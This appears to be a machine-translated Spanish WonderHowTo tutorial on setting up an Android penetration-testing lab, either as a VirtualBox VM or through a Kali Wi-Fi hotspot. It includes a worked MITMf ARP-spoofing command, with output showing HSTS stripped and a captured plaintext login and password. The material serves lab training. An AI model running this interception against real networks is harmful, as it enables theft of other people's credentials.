BlogWonderHowTo

Hackear Android: Cómo crear un laboratorio para pruebas de penetración de Android

[*]

Como cazarrecompensas de errores de Android y probadores de penetración, necesitamos un entorno configurado correctamente para trabajar cuando se prueban exploits y se buscan vulnerabilidades. Esto podría significar un sistema operativo Android virtual o una red dedicada para capturar solicitudes y realizar ataques man-in-the-middle.

Hay muchas formas de configurar un laboratorio de pentesting. Los entornos virtuales de Android son posibles gracias a proyectos como VirtualBox, OSBoxes, y Androidx86. Y hay algunos beneficios de crear un sistema operativo Android virtual dentro de su máquina Kali.

Las máquinas virtuales (VM) son muy fáciles de clonar y restaurar en caso de que accidentalmente rompamos o bloqueemos el sistema Android sin posibilidad de reparación. Además, nos brinda la capacidad de aumentar la CPU y la RAM a más de lo que los dispositivos Android físicos son capaces de hacer. Por ejemplo, es posible crear un sistema operativo Android virtual con 32 GB de RAM. Si bien este valor es increíblemente alto y poco realista, teóricamente nos permitiría mantener muchas aplicaciones y servicios ejecutándose simultáneamente.

Por otro lado, es posible que algunos lectores no tengan los recursos disponibles (por ejemplo, RAM, CPU) para ejecutar una máquina virtual de Android. Otro entorno que podemos configurar requiere un dispositivo Android físico y una red Wi-Fi dedicada. Claro, simplemente podemos conectar Kali y nuestro dispositivo Android a nuestra red Wi-Fi doméstica, pero usando Kali como un punto de acceso Wi-Fi y enrutando todos los datos de Android. mediante Kali nos permite interceptar muy fácilmente la transmisión de datos hacia y desde el dispositivo físico.

Hay muchas comodidades con el uso de un sistema operativo Android virtualizado, pero no se compara con un teléfono físico real capaz de proporcionar una simulación del mundo real de cómo un Android responderá a un exploit o pirateo en particular. Por esa razón, pentestar un Android físico es mi método preferido. Pero le mostraré cómo configurar ambos rápidamente y le permitiré decidir cuál se adapta mejor a sus necesidades.

Opción 1: Entorno virtual de Android (VirtualBox Lab)

OSBoxes ofrece sistemas operativos Linux listos para usar que están preconfigurados para nuestra conveniencia. Usando las máquinas virtuales de Android OSBoxes para VirtualBox, podemos tener un sistema Android virtual en funcionamiento con solo unos pocos clics.

Paso 1: descarga la imagen de Android

Dirígete al Página de descarga de Android x86 en el sitio de Oboxes para obtener la última imagen de Android de 64 bits para VirtualBox.

En el momento de escribir este artículo, OSBoxes solo admite hasta la versión 7.1 Nougat de Android. Android Oreo (versión 8.1) estará disponible pronto. Los lectores con un conocimiento más técnico de las instalaciones ISO pueden dirigirse al Android-x86 sitio web y tome la ISO de Oreo que no está preconfigurada como las imágenes de OSBoxes.

Paso 2: extraiga la imagen del disco de VirtualBox

Cuando el archivo comprimido Android-x86_7.1_r1-VB-64bit.7z (o la versión que elija) haya terminado de descargarse, extraiga el Imagen de disco de VirtualBox (VDI) usando el siguiente 7z mando. Descomprimir el archivo .7z puede llevar varios minutos. Cuando termine, una nueva 64 bits / El directorio estará presente en su Descargas / directorio.

7z x Android-x86_7.1_r1-VB-64bit.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 7 1700 Eight-Core Processor           (800F11),ASM,AES-NI)

Scanning the drive for archives:
1 file, 927273974 bytes (885 MiB)

Extracting archive: Android-x86_7.1_r1-VB-64bit.7z
--
Path = Android-x86_7.1_r1-VB-64bit.7z
Type = 7z
Physical Size = 927273974
Headers Size = 204
Method = LZMA2:25
Solid = -
Blocks = 1

Everything is Ok

Folders: 1
Files: 1
Size:       5433720832
Compressed: 927273974

Paso 3: Configure los ajustes de la máquina virtual de Android

Abra VirtualBox en su sistema Kali y cree una nueva máquina virtual usando el botón “Nuevo”. Si aún no tiene VirtualBox, puede descárgalo gratis desde su sitio web. En la primera página, asígnele el nombre “Android” y elija “Linux” como Tipo y Linux 2.6 de 64 bits para Versión. Haga clic en “Siguiente” para continuar.

Establezca la memoria (RAM) en un valor de al menos 1.024 MB. Haga clic en “Siguiente” para continuar.

Seleccione la opción “Usar un archivo de disco duro virtual existente” en el Disco duro configuración, luego seleccione Android VDI en el 64 bits / directorio que extrajimos previamente. Haga clic en “Crear” para continuar.

Luego, con la nueva VM de Android seleccionada de la lista de máquinas en VirtualBox, haga clic en “Configuración”, luego en la pestaña “Sistema” y ajuste el Orden de inicio por lo que “Disco duro” es la primera opción y la Dispositivo señalador está configurado para “Ratón PS / 2”.

En la pestaña de configuración “Red”, configure el “Adaptador 1” como un “Adaptador puenteado” y configure el Tipo de adaptador en el menú “Avanzado” hasta “PCnet-FAST III”. Esto permitirá que la máquina virtual de Android se conecte a su enrutador Wi-Fi y adquiera su propia dirección IP.

Cuando termine, haga clic en “Aceptar” e inicie la máquina virtual de Android. Después de unos 60 segundos, el sistema operativo se iniciará y tendremos acceso a un nuevo sistema operativo Android virtual para experimentar y pentesting.

En modo puente, otros dispositivos en la red Wi-Fi podrán hacer ping e interactuar con el sistema operativo Android. Podemos realizar ataques man-in-the-middle contra el sistema operativo como si fuera un dispositivo físico en la red Wi-Fi. A continuación se muestra un ejemplo de ataque man-in-the-middle realizado usando MITMf.

python mitmf.py -i wlan0 --arp --spoof --gateway 192.168.0.1 --target 192.168.0.4

███╗   ███╗██╗████████╗███╗   ███╗███████╗
████╗ ████║██║╚══██╔══╝████╗ ████║██╔════╝
██╔████╔██║██║   ██║   ██╔████╔██║█████╗
██║╚██╔╝██║██║   ██║   ██║╚██╔╝██║██╔══╝
██║ ╚═╝ ██║██║   ██║   ██║ ╚═╝ ██║██║
╚═╝     ╚═╝╚═╝   ╚═╝   ╚═╝     ╚═╝╚═╝

[*] MITMf v0.9.8 - 'The Dark Side'
|
|_ Net-Creds v1.0 online
|_ Spoof v0.6
|  |_ ARP spoofing enabled
|_ Sergio-Proxy v0.2.1 online
|_ SSLstrip v0.9 by Moxie Marlinspike online
|
|_ MITMf-API online
 * Serving Flask app "core.mitmfapi" (lazy loading)
|_ HTTP server online
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
 * Running on http://127.0.0.1:9999/ (Press CTRL+C to quit)
|_ DNSChef v0.4 online
|_ SMB server online

2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:22 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:23 192.168.0.4 [type:Chrome-50 os:Android] fonts.googleapis.com
2018-07-23 18:26:24 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:25 192.168.0.4 [type:Chrome-50 os:Android] Zapped a strict-transport-security header
2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:26 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:27 192.168.0.4 [type:Chrome-50 os:Android] fonts.gstatic.com
2018-07-23 18:26:28 192.168.0.4 [type:Chrome-50 os:Android] login.website.com
2018-07-23 18:26:48 192.168.0.4 [type:Chrome-50 os:Android] POST Data (login.website.com):
utf8=%E2%9C%93&authenticity_token=j7bVyOKFLu%2BausgDzlIr0Z9H0Mmh%2FoWSBZh9OyyCqvKNdPFtPL47fqRECBwN97gJmlYt4AgvI6e%2FyDmcAvNeog%3D%3D&user%5Bemail%5D=distortion%40nullbyte.com&user%5Bpassword%5D=secure_password_999&commit=&user%5Bremember_me%5D=0
2018-07-23 18:26:49 192.168.0.4 [type:Chrome-50 os:Android] login.website.com

Podemos ver el dispositivo Android (192.168.0.4), utilizando Chrome versión 50, envió una solicitud POST que contenía una dirección de correo electrónico y una contraseña en texto sin formato.

Opción 2: Hotspot y hardware Wi-Fi dedicados

Este método requiere un dispositivo Android dedicado (físico) para pentesting y un adaptador Wi-Fi externo para crear un punto de acceso. La idea es que Kali creará efectivamente un punto de acceso Wi-Fi al que se conecte el dispositivo Android. Todos los datos que atraviesan hacia y desde Android se observarán muy fácilmente sin ningún tipo de ataque man-in-the-middle. Esto es conveniente para los cazarrecompensas de errores que utilizan herramientas como Suite Burp o Wireshark para inspeccionar paquetes a un nivel muy granular.

Si no tiene un teléfono Android que pueda usar como dispositivo de pentesting, Amazon tiene muchas opciones baratas disponibles para un teléfono de prueba, que se convertirá en un activo valioso en su kit de herramientas de pentesting.

Paso 1: crea un nuevo punto de acceso Wi-Fi

Para comenzar, encienda Kali y conecte un adaptador de red inalámbrico externo compatible con Kali al sistema. Abra el menú “Conexiones de red”, haga clic en el símbolo “+” para agregar una conexión “Wi-Fi”, luego seleccione “Crear”.

La configuración de la conexión de red varía ligeramente entre las diferentes versiones de Kali. Estoy usando la versión XFCE4, pero todas las versiones tienen un administrador de red capaz de crear puntos de acceso Wi-Fi siguiendo pasos muy similares.

Paso 2: configurar el punto de acceso y la contraseña

Un nuevo Edición Aparecerá la ventana. Los campos obligatorios son SSID, Modo, y Dispositivo. Asegúrese de utilizar el modo “Hotspot” y seleccione el dispositivo (lo más probable wlan0) de su adaptador Wi-Fi. Si no conoce el nombre del adaptador de red, puede usar ifconfig para averiguarlo. El nombre de la red Wi-Fi (SSID) puede ser el que desee; Estoy usando “Null Byte” para esta demostración.

A continuación, haga clic en la pestaña “Seguridad Wi-Fi” e ingrese una contraseña segura.

Haga clic en “Guardar” cuando haya terminado, y Kali debería crear automáticamente el punto de acceso Wi-Fi “Byte nulo”. Esto se puede verificar usando ifconfig en una terminal.

ifconfig wlan0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.42.0.1  netmask 255.255.255.0  broadcast 10.42.0.255
        inet6 fe80::ea9b:cff:fee3:bb6a  prefixlen 64  scopeid 0x20<link>
        ether 42:e6:0f:b2:1c:e2  txqueuelen 1000  (Ethernet)
        RX packets 78176  bytes 4968034 (4.7 MiB)
        RX errors 0  dropped 4  overruns 0  frame 0
        TX packets 137808  bytes 191871580 (182.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Observe la inet 10.42.0.1 dirección. Este es el nuevo esquema de direcciones internas que utilizan los dispositivos que se conectan a su red Wi-Fi “Null Byte”. Al conectar un Android a la red, adquirirá automáticamente la dirección 10.42.0.2.

En este punto, podemos abrir Wireshark y comenzar a capturar datos en el wlan0 interfaz para observar los paquetes que van hacia y desde Android. Hay una conexión directa entre Android y Kali para que su red “Null Byte” no se llene de tráfico de red de otros dispositivos en su dispositivo externo (192.168.0.1) la red. Otras herramientas de pentesting como Burp Suite se pueden configurar con Android para interceptar y modificar cada solicitud.

Que comience la prueba de penetración

Ambos métodos tienen beneficios. Si puede pagar la RAM y la CPU, un entorno virtual de Android podría ser la mejor opción para usted. Si los recursos de hardware son limitados y tiene un dispositivo Android de repuesto para analizar, la opción dos también podría ser su método preferido. De cualquier manera, se le anima a probar ambos métodos y aprender lo que más le convenga.

Si tiene alguna pregunta, no dude en dejar un comentario a continuación.

Foto de portada de Pixabay / Pexels (original); Capturas de pantalla por distorsión / Byte nulo

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar